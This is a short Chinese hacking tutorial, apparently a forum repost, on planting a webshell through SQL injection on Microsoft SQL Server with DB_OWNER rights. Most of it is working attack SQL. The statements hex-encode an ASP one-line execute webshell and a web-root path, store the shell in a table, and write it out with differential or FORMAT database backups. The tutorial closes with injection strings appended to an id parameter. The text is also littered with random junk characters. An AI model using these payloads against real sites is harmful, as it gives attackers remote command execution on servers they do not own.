DB_OWNER权限得到webshell的改进方法

admin

减少备份文件大小，得到可执行的webshell成功率提高不少

8 X; l5 ^6 m* e  x; H/ J一利用差异备份
加一个参数WITH DIFFERENTIAL
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declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
4 [/ u. m' k; J9 q2 Vcreate table [dbo].[xiaolu] ([cmd] [image]);
7 y7 \; R. o7 x2 [( Q! Oinsert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
- {( I( [1 q5 t7 M; \declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL

3 O+ K1 t( F$ K二利用完全FORMAT
加一个参数WITH FROMAT
: s* v. C6 k6 h! q+ P) g有些页面对数据库要执行几次，而备份又默认是每次都以追加的方式，如果一个注入点对数据库有几次操作，而备份的文件就 几倍的增加，所以
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; _! y4 H& H' Z! e. \, ndeclare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" x( L8 I& l5 G7 A$ z2 Xcreate table [dbo].[xiaolu] ([cmd] [image]); insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT
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总的来说就是那么简单几句,下面以备份数据库model为例子
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id=1;use model create table cmd(str image);insert into cmd(str) values (”)

9 }: p: U' p$ \- x. \* eid=1;backup database model to disk=’你的路径‘ with differential,format;–
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8 \; T' N- G4 S. Y! m+ c% _